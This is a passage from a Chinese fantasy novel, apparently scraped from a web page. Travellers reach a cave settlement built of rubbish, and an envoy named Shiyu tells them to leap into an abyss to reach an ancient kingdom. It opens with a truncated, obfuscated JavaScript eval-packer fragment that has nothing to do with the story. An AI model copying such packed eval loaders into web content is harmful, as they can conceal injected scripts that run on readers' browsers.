;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是啊,为何呢?”茶一尘呢喃,紧了紫弩。 金好收起冰针,走过去站在小女孩面前,弯腰摸上她的头,温柔地笑,道:“我们要去弃离山顶端,一起吗?” 三人变四人,小女孩对这座山的了解程度异常丰富,带领他们摘果类填饱肚子,又避开了深处内的危险地带。很快,金好手心现出一个只占据巴掌的奇特铜球。 “天已经黑了。”她看着铜球说。 “这是什么?”小女孩点点,疑惑。 斛万也在看,听到金好说:“是遂瓒,能看时间。” “你的稀奇玩意倒挺多!”茶一尘道了这句,继续朝前走去。 “哥哥,我脚疼。”小女孩神情透着不适,实在坚持不住。斛万抱起小女孩,说,“走了这么长的路,确实不能再走了。” 金好见此,说道:“辛苦了,快要到了,等那时多歇歇脚。” 最终,四人停在一个巨型洞口前,往上里面幽黑神秘,往上看,才则是高高的弃离山。 茶一尘散漫道:“走这么久,原来是在上坡……” 他们走进去,立即被眼前的一幕钉在原地。 山洞内,中间部分是望不到底的万丈深渊,环绕四周,则是以垃圾建盖,并坐落于渊边的房屋。再看看深渊,其实也不是只有一眼望见的黑,一条条纵横交错、垃圾铺设的桥路,上面正过推着装满垃圾小车的人,送到周围房屋里。 不多时,最高的房屋里,走出来一名白衣女子,看到几人先行了礼,道:“我是十玉,是早莹公主的灵使,受嘱咐代早莹公主指明所去方向,请跟我来。” “等一下。”斛万叫住她,“麻烦待会儿可以把小女孩送回家吗?” 十玉点头:“我会亲自带她回去。” 斛万放下心来,跟随前行。四人跟着十玉往桥上走,斛万看着数不清的垃圾开口:“怎么会这么多。” “此垃圾非彼垃圾。”十玉从经过身边的垃圾小车上随手拿起一个菜叶,急速化为黑气,消失不见,“现在不够时机,抱歉我不能说太多。” “没关系。” 十玉说:“你们要去的地方。”她伸手指向深渊,“跳下去,方可到达。” 金好开口:“第一程是什么地方。” “花玉古国。”